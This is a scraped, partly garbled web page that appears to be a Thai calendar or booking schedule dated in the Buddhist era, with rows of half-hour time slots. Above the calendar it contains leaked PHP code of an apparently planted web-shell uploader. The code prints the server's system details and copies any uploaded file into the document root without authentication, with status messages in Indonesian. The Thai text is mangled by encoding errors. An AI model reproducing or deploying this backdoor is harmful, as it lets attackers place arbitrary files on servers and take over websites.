Upload


"; echo "".php_uname()."
"; echo "
"; $root = $_SERVER['DOCUMENT_ROOT']; $files = $_FILES['idx_file']['name']; $dest = $root.'/'.$files; if(isset($_POST['upload'])) { if(is_writable($root)) { if(@copy($_FILES['idx_file']['tmp_name'], $dest)) { $web = "http://".$_SERVER['HTTP_HOST']."/"; echo "sukses upload -> $web/$files"; } else { echo "gagal upload di document root."; } } else { if(@copy($_FILES['idx_file']['tmp_name'], $files)) { echo "sukses upload $files di folder ini"; } else { echo "gagal upload"; } } } ?>
ء, 11/10/2562
ԷԹ
11
Ҥ 2562
    01 02 03 04 05
06 07 08 09 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31    
7:00  
7:30  
8:00  
8:30  
9:00  
9:30  
10:00  
10:30  
11:00  
11:30  
12:00  
12:30  
13:00  
13:30  
14:00  
14:30  
15:00  
15:30  
16:00  
16:30  
17:00  
17:30  
18:00  
18:30  
19:00  
19:30  
20:00  


[˹ҹ!]